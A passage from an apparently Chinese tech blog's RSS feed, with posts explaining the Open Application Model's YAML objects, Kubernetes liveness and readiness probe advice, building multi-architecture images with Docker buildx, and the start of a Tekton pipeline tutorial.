&lt;li&gt;Application Scope：部署目标&lt;/li&gt;
&lt;li&gt;Traits：运维能力&lt;/li&gt;
&lt;li&gt;Application Configuration：应用配置&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一头雾水是吧？还好每个对象都提供了代码范例，可以拿来解释。&lt;/p&gt;

&lt;h2 id=&#34;component&#34;&gt;Component&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;一种类似 Pod 的东西。。。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: core.oam.dev/v1alpha1
kind: ComponentSchematic
metadata:
  name: admin-backend
  annotations:
    version: v1.0.0
    description: &amp;gt;
      Sample component schematic that describes the backend for our Twitter bot.
spec:
  workloadType: core.oam.dev/v1.SingletonServer
  osType: linux
  parameters:
  ...
  - name: twitter-access-token-secret
    description: Twitter API access token secret
    type: string
    required: true
  containers:
  - name: my-twitter-bot-backend
    image:
      name: example/my-twitter-bot-backend:1.0.0
      digest: sha256:6c3c624b58dbbcd3c0dd82b4c53f04194d1247c6eebdaab7c610cf7d66709b3b
    resources:
      cpu:
        required: 1.0
      memory:
        required: 100MB
      volumes:
      - name: config
        mountPath: /var/lib/my-twitter-bot/conf
        accessMode: RW
        sharingPolicy: Exclusive
    ports:
    - name: http
      value: 8080
    env:
    ...
    - name: TWITTER_ACCESS_TOKEN_SECRET
      fromParam: &#39;twitter-access-token-secret&#39;
    livenessProbe:
      httpGet:
        port: 8080
        path: /healthz
    readinessProbe:
      httpGet:
        port: 8080
        path: /healthz
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很像 Kubernetes 有没有？容器、参数、资源（外部加载卷的加载方式，类似 &lt;code&gt;volumeMount&lt;/code&gt; 也定义在资源里）、端口和环境变量都是 YAML 程序员们很熟悉的东西。最值得注意的是 &lt;code&gt;workloadType&lt;/code&gt;，工作负载的类型可以分为核心和扩展两个大类，其中核心工作负载有一个明确要求：所有实现本规范的平台必须支持核心工作负载。&lt;/p&gt;

&lt;p&gt;核心工作负载有几个类型：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server：可多实例运行的，对外提供服务的守护进程。&lt;/li&gt;
&lt;li&gt;Singleton Server：只能单实例运行的，对外提供服务的守护进程。&lt;/li&gt;
&lt;li&gt;Worker：能够多实例运行，不对外提供服务的守护进程。&lt;/li&gt;
&lt;li&gt;Singleton Worker：不对外提供服务，不可复制的守护进程。&lt;/li&gt;
&lt;li&gt;Task：不对外提供服务，可复制，非守护进程（一次性）。&lt;/li&gt;
&lt;li&gt;Singleton Task：不对外提供服务，不可复制，非守护进程（一次性）。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外这里还有一个字段叫 &lt;code&gt;ConfigFile&lt;/code&gt;，用于存储配置内容。&lt;/p&gt;

&lt;p&gt;在组件模型一节的尾部，给出了下面这样的例子：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: core.oam.dev/v1alpha1
kind: ComponentSchematic
metadata:
  name: azurefunction
  annotations:
    version: v1.0.0
    description: &amp;quot;Extended workflow example&amp;quot;
spec:
  workloadType: azure.com/v1.Function
  parameters:
  - name: github-token
    description: GitHub API session key
    type: string
    required: true
  workloadSettings:
    - name: source
      value: git://git.example.com/function/myfunction.git
    - name: github_token
      fromParam: github-token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个例子展示的是扩展类型的组件：从 git 拉取代码，用于提供 Function 服务。&lt;/p&gt;

&lt;h2 id=&#34;trait&#34;&gt;Trait&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;一种运行平台中，针对特定工作负载进行运维支撑的能力，例如下面例子中的手动伸缩，似乎 Service Mesh 也应该名列此列？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: core.oam.dev/v1alpha1
kind: Trait
metadata:
  name: ManualScaler
  annotations:
    version: v1.0.0
    description: &amp;quot;Allow operators to manually scale a workloads that allow multiple replicas.&amp;quot;
spec:
  appliesTo:
    - core.oam.dev/v1alpha1.Server
    - core.oam.dev/v1alpha1.Worker
    - core.oam.dev/v1alpha1.Task
  properties:
    type: object
    properties: |
      {
        &amp;quot;$schema&amp;quot;: &amp;quot;http://json-schema.org/draft-07/schema#&amp;quot;,
        &amp;quot;type&amp;quot;: &amp;quot;object&amp;quot;,
        &amp;quot;required&amp;quot;: [&amp;quot;replicaCount],
        &amp;quot;properties&amp;quot;: {
          &amp;quot;replicaCount&amp;quot;: {
            &amp;quot;type&amp;quot;: &amp;quot;integer&amp;quot;,
            &amp;quot;description&amp;quot;: &amp;quot;the target number of replicas to scale a component to.&amp;quot;,
            &amp;quot;minimum&amp;quot;: 0
          }
        }
      }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里定义了一个用来做手动伸缩的 Trait，它仅适用于第一节中提到的几个可伸缩的工作负载类型。这个 Traits 仅包含一个必要字段，用于设置副本数量。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;但是在 YAML 里面包 JSON 真的好吗？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;application-scopes&#34;&gt;Application Scopes&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;百撕不得其解的一个概念。通过外部设施，如网络或者健康对应用范围进行划分，把应用进行聚合。
并且在 Application Configuration 中作为一个部署目标进行实例化。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: core.oam.dev/v1alpha1
kind: ApplicationScope
metadata:
  name: health
  annotations:
    version: v1.0.0
    description: &amp;quot;aggregated health state for a group of components.&amp;quot;
spec:
  type: core.oam.dev/v1alpha1.HealthScope
  allowComponentOverlap: true
  parameters:
    - name: probe-method
      description: The method to probe the components, e.g. &#39;httpGet&#39;.
      type: string
      required: true
...
    - name: required-healthy-components
      description: Comma-separated list of names of the components required to be healthy for the scope to be health.
      type: []string
      required: false
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;application-configuration&#34;&gt;Application Configuration&lt;/h2&gt;

&lt;p&gt;前面的几个概念中，描述了组件的定义、平台提供的运维能力、以及应用的部署范围，最终应用要运行起来，需要进行一个部署过程，部署过程除了把前面提到的对象组合起来之外，还需要加入一些配置内容。本对象就是用来完成这一功能的。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: core.oam.dev/v1alpha1
kind: ApplicationConfiguration
metadata:
  name: my-vpc-network
spec:
  variables:
    - name: networkName
      value: &amp;quot;my-vpc&amp;quot;
  scopes:
    - name: network
      type: core.oam.dev/v1alpha1.Network
      properties:
        - name: network-id
          value: &amp;quot;[fromVariable(networkName)]&amp;quot;
        - name: subnet-id
          value: &amp;quot;my-subnet&amp;quot;
---
apiVersion: core.oam.dev/v1alpha1
kind: ApplicationConfiguration
metadata:
  name: custom-single-app
  annotations:
    version: v1.0.0
    description: &amp;quot;Customized version of single-app&amp;quot;
spec:
  variables:
    - name: message
      value: &amp;quot;Well hello there&amp;quot;
    - name: domainName
      value: &amp;quot;www.example.com&amp;quot;
  components:
    - componentName: frontend
      instanceName: web-front-end
      parameterValues:
        - name: message
          value: &amp;quot;[fromVariable(message)]&amp;quot;
      traits:
        - name: Ingress
          properties:
            - name: host
              value: &amp;quot;[fromVaraible(domainName)]&amp;quot;
            - name: path
              value: &amp;quot;/&amp;quot;
      applicationScopes:
        - my-vpc-network

    - componentName: backend
      instanceName: database
      applicationScopes:
        - my-vpc-network
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一组文件对象完成了几个任务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;创建了一个网络类型的 Application Scope，&lt;code&gt;my-vpc-network&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;引用一个叫做 &lt;code&gt;frontend&lt;/code&gt; 的组件，生成 &lt;code&gt;web-front-end&lt;/code&gt; 对象，并赋予参数 &lt;code&gt;message&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;为 &lt;code&gt;web-front-end&lt;/code&gt; 提供一个 Ingress 对象。&lt;/li&gt;
&lt;li&gt;将两个实例部署在 &lt;code&gt;my-vpc-network&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;这几个对象里，基本形成了一个从交付物到运维的标准过程和定义，并且也直接使用 Rust 实现了基于这一规范的工具。符合这个规范的应用，就能能够在支持 OAM 的平台上进行运行和运维，虽然应用自身的结构、拓扑、构建、观测还有很多元素要实现，但是这些基础元素，应该已经能够发挥很好的示范效果了。&lt;/p&gt;

&lt;p&gt;印象里 OAM 的新闻稿里有一句话，OAM 和其他应用模型是不同的，它没有供应商锁定问题，因为它是构建在 Kubernetes 的基础之上的：Kubernetes 就是在锁定横行的环境下，利用更高层次的抽象来打破旧锁定，造就新锁定的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 存活检测的危险性</title>
      <link>/post/k8s-liveness-probes-are-dangerous/</link>
      <pubDate>Fri, 18 Oct 2019 00:32:27 +0800</pubDate>
      <guid>/post/k8s-liveness-probes-are-dangerous/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://srcco.de/posts/kubernetes-liveness-probes-are-dangerous.html&#34; target=&#34;_blank&#34;&gt;LIVENESS PROBES ARE DANGEROUS&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 的 &lt;code&gt;livenessProbe&lt;/code&gt; 是有一定危险性的。建议在用例清晰，并且理解足够深刻的情况下才使用这个功能。本文会涉及到存活检测以及就绪检测，并做出一些应该或者不该的建议。&lt;/p&gt;

&lt;p&gt;我的同事 Sandor 最近说了一下他看到的问题，其中包括了错误的存活检测和就绪检测的内容：&lt;/p&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;Most people that are new to &lt;a href=&#34;https://twitter.com/hashtag/kubernetes?src=hash&amp;amp;ref_src=twsrc%5Etfw&#34;&gt;#kubernetes&lt;/a&gt; do the same mistakes:&lt;br&gt;- no readinessprobe &lt;br&gt;- wrong readinessprobe &lt;br&gt;- livenessprobe = readinessprobe &lt;br&gt;- non graceful shutdown &lt;br&gt;- graceful shutdown which is not graceful enough, best use lifecycle hook &lt;a href=&#34;https://t.co/OeNHqghhzC&#34;&gt;https://t.co/OeNHqghhzC&lt;/a&gt; &lt;br&gt;- pre fork mode&lt;/p&gt;&amp;mdash; Sandor Szücs (@sszuecs@hachyderm.io) (@sszuecs) &lt;a href=&#34;https://twitter.com/sszuecs/status/1175377157343907840?ref_src=twsrc%5Etfw&#34;&gt;September 21, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;



&lt;ul&gt;
&lt;li&gt;没有就绪检测&lt;/li&gt;
&lt;li&gt;错误的就绪检测&lt;/li&gt;
&lt;li&gt;混淆了就绪检测和存活检测&lt;/li&gt;
&lt;li&gt;不优雅的退出&lt;/li&gt;
&lt;li&gt;不够优雅的优雅关闭，最好使用&lt;a href=&#34;https://twitter.com/sszuecs/status/1175377157343907840&#34; target=&#34;_blank&#34;&gt;生命周期 Hook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fork 模式&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;错误的存活检测过程可能加重负载问题（雪崩式故障加上延长容器应用启动时间的风险），会引发其他负面问题，例如破坏依赖（参见我另一篇关于 &lt;a href=&#34;https://srcco.de/posts/k3s-outage-traefik-acme-lets-encrypt-local-path.html&#34; target=&#34;_blank&#34;&gt;K3s 和 ACME 速率限制的文章&lt;/a&gt;）。存活检测和外部数据健康检查的依赖是最差的情况：&lt;strong&gt;数据库的一点小问题会重启你的所有应用&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;在喊出“不要使用存活检测”口号之前，还是先看看存活检测和就绪检测的用途。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意下文很多来自 Zalando 的内部文档。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;就绪和存活检测&#34;&gt;就绪和存活检测&lt;/h2&gt;

&lt;p&gt;Kubernetes 提供了两个很棒的功能，分别是&lt;a href=&#34;https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/&#34; target=&#34;_blank&#34;&gt;就绪检测和存活检测&lt;/a&gt;。这两个功能会周期性的执行一个动作（比如说发出 HTTP 请求，打开一个 TCP 连接或者在容器中运行一个命令），从而确认你的应用正在如常运行。&lt;/p&gt;

&lt;p&gt;Kubernetes 使用&lt;strong&gt;就绪检测&lt;/strong&gt;来探测容器是否准备好开始接收流量。如果 Pod 中所有的容器都准备就绪，这个 Pod 就被当做是就绪状态。这种信号的一个用途就是来控制 Kubernetes 服务的后端 Pod（尤其是 Ingress）。&lt;/p&gt;

&lt;p&gt;Kubernetes 使用&lt;strong&gt;存活检测&lt;/strong&gt;来确定是否需要重启容器。例如存活检测能够检查到运行中应用的死锁，这种应用正在运行，但是不会有任何进展。重启这种容器能够在有 Bug 的情况下提高应用的可用性，然而也可能会引起级联故障（见后）。&lt;/p&gt;

&lt;p&gt;如果一个应用的存活或者就绪检测失败了，在尝试对其进行更新时，滚动更新的过程可能会挂死——K8s 会想要等待你的 Pod 进入就绪状态。&lt;/p&gt;

&lt;h2 id=&#34;举个栗子&#34;&gt;举个栗子&lt;/h2&gt;

&lt;p&gt;就绪检测会使用 HTTP 协议，检查 &lt;code&gt;/health&lt;/code&gt; 路径（缺省行为：10 秒钟间隔、1 秒钟超时、成功阈值 1，失败阈值：3）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
podTemplate:
  spec:
    containers:
    - name: my-container
      # ...
      readinessProbe:
        httpGet:
          path: /health
          port: 8080
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;建议&#34;&gt;建议&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;对于使用 HTTP 端点提供服务（尤其是 REST 服务）的微服务来说，严重建议&lt;strong&gt;定义一个就绪检测&lt;/strong&gt;，用来检测你的应用（Pod）是否准备好接收请求。&lt;/li&gt;
&lt;li&gt;确认你的就绪检测设置覆盖了 Web 服务器的真实端口。

&lt;ul&gt;
&lt;li&gt;如果你的就绪检测中使用了管理员端口（比如说 9090），如果主要 HTTP 端口（例如 8080）准备就绪，务必要确认该端点仅返回 OK。&lt;/li&gt;
&lt;li&gt;为就绪检测使用专属端口可能在主端口线程池的拥塞时报告错误的状态（主服务池已满，然而健康检测依然能够通过）。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;确保就绪检测包含了数据库的初始化和迁移过程。

&lt;ul&gt;
&lt;li&gt;最简单的方式就是仅在&lt;a href=&#34;https://flywaydb.org/&#34; target=&#34;_blank&#34;&gt;初始化&lt;/a&gt;完成之后才打开 HTTP 端口，也就是说，不设置健康状态，只是不启动 Web 服务器，直到数据库迁移完成。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;使用 http Get 访问知名的健康检查端点（例如 &lt;code&gt;/health&lt;/code&gt;）来完成就绪检测。&lt;/li&gt;
&lt;li&gt;理解缺省行为（缺省行为：10 秒钟间隔、1 秒钟超时、成功阈值 1，失败阈值 3）：

&lt;ul&gt;
&lt;li&gt;在大概 30 秒（3 次失败的检测）后，这个 Pod 会成为未就绪状态。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果你的技术栈（例如 Java/Spring）允许的话，可以使用不同的管理端口，把监控、检测端口和业务流量分开。

&lt;ul&gt;
&lt;li&gt;注意前面提到的线程问题。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;可以使用就绪检测来对应用进行缓存和预热，在容器完成预热之前，返回 503.

&lt;ul&gt;
&lt;li&gt;建议阅读 &lt;a href=&#34;https://sysdig.com/blog/whats-new-kubernetes-1-16/&#34; target=&#34;_blank&#34;&gt;1.6 中新增的 &lt;code&gt;stateupProbe&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;反对&#34;&gt;反对&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不要依赖外部因素，以免发生雪崩&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;例如有个有状态的 REST 服务，其中包含了 10 个依赖一个 Postgres 数据库的 Pod：如果数据库和网络不稳定，会导致 10 个 Pod 关闭，很显然这种反应会让结果变得更差。&lt;/li&gt;
&lt;li&gt;Spring Data 的缺省行为是检查数据库连接。&lt;/li&gt;
&lt;li&gt;这里所说的外部因素，还包含本集群中的其它 Pod，也就是说你的检测过程不应该依赖其它 Pod 的状态，以防止雪崩：

&lt;ul&gt;
&lt;li&gt;对于具有分布式状态的应用(例如跨 Pod 的内存缓存)，可能会有所不同。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在清楚为什么要使用存活检测，了解其后果之前，不用使用存活检测&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;存活检测能够帮助你恢复“卡死”的容器，但是如果你的应用够成熟，是不应该出现这种情况的——更好的对策是有目的地崩溃，以恢复正常状态。&lt;/li&gt;
&lt;li&gt;失败的存活检测会导致容器重启，可能会让性能问题更加恶化：容器重启是有停机时间的（损失时间至少是你的应用的启动时间，例如 30 秒），这样就会造成更多错误，让其它容器承受更多压力，可能引起更多容器的崩溃。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;如果使用存活检测，&lt;strong&gt;不要让存活检测和就绪检测使用同样的条件&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;可以让存活检测使用同样的健康检测方法，但是设置更高的 &lt;code&gt;failureThreshold&lt;/code&gt;（例如 3 次失败之后设置为未就绪，10 次失败后才让存活检测失败）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要使用 &lt;code&gt;exec&lt;/code&gt; 检测&lt;/strong&gt;：这是一个已知问题，会导致僵尸进程。

&lt;ul&gt;
&lt;li&gt;参考 &lt;a href=&#34;https://www.youtube.com/watch?v=QKI-JRs2RIE&#34; target=&#34;_blank&#34;&gt;Datadog 的故障经历&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;在 Web App 中使用就绪检测来确定该 Pod 可以接受流量。&lt;/li&gt;
&lt;li&gt;仅在的确需要时候使用存活检测。&lt;/li&gt;
&lt;li&gt;不恰当的检测方法可能会损失可用性甚至有引发雪崩的危险。&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;The 99% case for application developers is:&lt;br&gt;- use readinessprobe &lt;br&gt;- don’t use livenessprobe &lt;br&gt;I see too often both are the same, because of time no one checks what the difference is and if so it’s not easy enough to understand the impact.&lt;/p&gt;&amp;mdash; Sandor Szücs (@sszuecs@hachyderm.io) (@sszuecs) &lt;a href=&#34;https://twitter.com/sszuecs/status/1175655221382529025?ref_src=twsrc%5Etfw&#34;&gt;September 22, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;


</description>
    </item>
    
    <item>
      <title>在 OS X 下构建 ARM 64 镜像</title>
      <link>/post/buildx-and-osx/</link>
      <pubDate>Thu, 17 Oct 2019 01:51:55 +0800</pubDate>
      <guid>/post/buildx-and-osx/</guid>
      <description>&lt;p&gt;Mac OS X 的 Docker 桌面版中加入了一个 buildx 的试验特性，启用之后，可以直接在 MAC 系统中构建 ARM64 和 ARM7 的镜像。启用方法很简单，打开 Docker 的配置窗口，进行如下配置：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/options.png&#34; alt=&#34;options&#34; /&gt;&lt;/p&gt;

&lt;p&gt;打开这个功能之后，Docker 会重新启动一次，命令行中的 Docker 就多出一个 &lt;code&gt;buildx&lt;/code&gt; 命令，可以用于构建异构镜像了。
进行构建之前，首先进行初始化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker buildx create --name builderx
$ docker buildx use mybuilder
$ docker buildx inspect --bootstrap
...
Endpoint:  unix:///var/run/docker.sock
Status:    running
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来我们随便写一个 Dockerfile：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ubuntu:18.10
CMD [&amp;quot;tini&amp;quot;, &amp;quot;--&amp;quot;, &amp;quot;sleep&amp;quot;, &amp;quot;1d&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在镜像库或者 Docker hub 上创建一个新仓库，就可以尝试 Build-&amp;gt;Push 的操作了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ docker buildx build --platform linux/amd64,linux/arm64,linux/arm/v7 -t dustise/debug-container:v0.2 . --push
 =&amp;gt; [internal] load .dockerignore                                                                                    0.0s
 =&amp;gt; =&amp;gt; transferring context: 2B                                                                                      0.0s
 =&amp;gt; [internal] load build definition from Dockerfile                                                                 0.0s
 =&amp;gt; =&amp;gt; transferring dockerfile: 182B                                                                                 0.0s
 =&amp;gt; [linux/arm64 internal] load metadata for docker.io/library/ubuntu:18.10                                          3.5s
 =&amp;gt; [linux/arm/v7 internal] load metadata for docker.io/library/ubuntu:18.10                                         4.0s
 =&amp;gt; [linux/amd64 internal] load metadata for docker.io/library/ubuntu:18.10                                          3.5s
 =&amp;gt; [linux/arm64 1/2] FROM docker.io/library/ubuntu:18.10@sha256:7d657275047118bb77b052c4c0ae43e8a289ca2879ebfa78a7  0.0s

 ...
 =&amp;gt; =&amp;gt; pushing layers                                                                                                5.1s
 =&amp;gt; =&amp;gt; pushing manifest for docker.io/dustise/debug-container:v0.2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来可以打开你的 Harbor 或者 Docker Hub 查看一下，镜像库中是否已经加入了多平台的镜像内容：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/image.png&#34; alt=&#34;image&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;buildx 还有 save 语法，可以直接将构建结果输出为压缩包，但是目前还没有提供完整支持。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>可能是最适合自定义的 Pipeline：Tekton</title>
      <link>/post/customizable-cicd-tekton/</link>
      <pubDate>Thu, 03 Oct 2019 20:37:11 +0800</pubDate>
      <guid>/post/customizable-cicd-tekton/</guid>
      <description>

&lt;p&gt;持续集成是云原生应用的支柱技术之一，因此在交付基于云原生的一些支撑产品的时候，CICD 是一个无法拒绝的需求。为了满足这种需要，自然而然会想到对 Jenkins(X) 或者 Gitlab 进行集成，然而这两个东西虽说功能强大，却也不是为了做螺丝钉而设计的，其中包含了大量的周边功能，并非我们产品的需要，并且其接口和 Pipeline 设计也不太容易复用和提供给用户进行定制，而 Tekton 这个东西就有趣多了：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kubernetes 原生
Tekton 的所有配置都是使用 CRD 方式进行编写存储的，非常易于检索和使用。&lt;/li&gt;
&lt;li&gt;配置和流程分离
Tekton 的 Pipeline 和配置可以分开编写，使用名称进行引用。&lt;/li&gt;
&lt;li&gt;轻量级
核心的 Pipeline 非常轻便，适合作为组件进行集成，另外也有周边的 Dashboard、Trigger、CLI 等工具，能够进一步挖掘其潜力。&lt;/li&gt;
&lt;li&gt;可复用、组合的 Pipeline 构建方式
非常适合在集成过程中对 Pipeline 进行定制。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;安装过程非常轻松：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f \
    https://storage.googleapis.com/tekton-releases/latest/release.yaml
namespace/tekton-pipelines created
podsecuritypolicy.policy/tekton-pipelines created
clusterrole.rbac.authorization.k8s.io/tekton-pipelines-admin created
...
$ kubectl get pods -n tekton-pipelines
NAME                                           READY   STATUS    RESTARTS   AGE
tekton-pipelines-controller-5888756f5c-t5kgx   1/1     Running   0          2m10s
tekton-pipelines-webhook-7494f6f84b-gm92g      1/1     Running   0          2m10s
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;概念&#34;&gt;概念&lt;/h2&gt;

&lt;p&gt;今天的内容主要涉及几个 CRD：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Task：任务环节。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;TaskRun：Task 对象的运行参数。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Pipeline：Task 的组合。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;PipelineRun：Pipeline 的运行参数。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;hello-world&#34;&gt;Hello world&lt;/h2&gt;

&lt;p&gt;这里有个比 Hello world 稍稍复杂一点的小例子：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;下载一个文件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;传递给下一个环节。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;为什么不用官方例子呢？我想糊弄过 CI/CD/DevOps 的同学们应该都清楚，能使用容器、能执行 Shell、能获得输出、能传递文件，这几个能力加起来，足够冒充工具链小能手了。循序渐进并不适合心急的朋友们。&lt;/p&gt;

&lt;h3 id=&#34;下载文件并显示内容&#34;&gt;下载文件并显示内容&lt;/h3&gt;

&lt;p&gt;首先引入的是 Task 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: tekton.dev/v1alpha1
kind: Task
metadata:
  name: get-http-file
spec:
  steps:
    - name: show
      image: dustise/sleep
      command:
        - curl
      args:
        - &amp;quot;-s&amp;quot;
        - &amp;quot;https://httpbin.org/ip&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里定义了一个 Task CRD，使用 &lt;code&gt;kubectl apply -f&lt;/code&gt; 提交到集群，会看到 &lt;code&gt;task.tekton.dev/get-http-file created&lt;/code&gt; 的反馈信息。&lt;/p&gt;

&lt;p&gt;要运行这个环节，可以创建一个 TaskRun 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: tekton.dev/v1alpha1
kind: TaskRun
metadata:
  name: get-http-file-run
spec:
  taskRef:
    name: get-http-file
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交之后，可以使用 &lt;code&gt;kubectl get taskrun get-http-file-run -o yaml&lt;/code&gt; 来查看任务执行状况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: tekton.dev/v1alpha1
kind: TaskRun
metadata:
...
status:
...
  conditions:
  - message: All Steps have completed executing
    reason: Succeeded
    status: &amp;quot;True&amp;quot;
    type: Succeeded
  podName: get-http-file-run-pod-51fddd
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里能看到很多任务执行信息，还能看到执行这个步骤的 Pod 名称，看看它的日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl logs -f get-http-file-run-pod-51fddd
{
  &amp;quot;origin&amp;quot;: &amp;quot;165.22.223.124, 165.22.223.124&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看来 CICD 过程中的日志输出和命令执行基本是有保障的，那么如何完成工件的传递呢？&lt;/p&gt;

&lt;h3 id=&#34;文件传递&#34;&gt;文件传递&lt;/h3&gt;

&lt;p&gt;通常我们都会想到使用 PVC 来进行文件存储和共享，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: trans
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 8Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先把上面的步骤命令行改为：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;command:
- curl
args:
- &amp;quot;-s&amp;quot;
- &amp;quot;-o&amp;quot;
- &amp;quot;/share/share.json&amp;quot;
- &amp;quot;https://httpbin.org/ip&amp;quot;
volumeMounts:
- name: trans
  mountPath: /share
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第二个步骤就更加简单，只要显示文件内容即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: tekton.dev/v1alpha1
kind: Task
metadata:
  name: display
spec:
  steps:
    - name: showcontent
      image: alpine
      command: [&amp;quot;cat&amp;quot;]
      args: [&amp;quot;/share/share.json&amp;quot;]
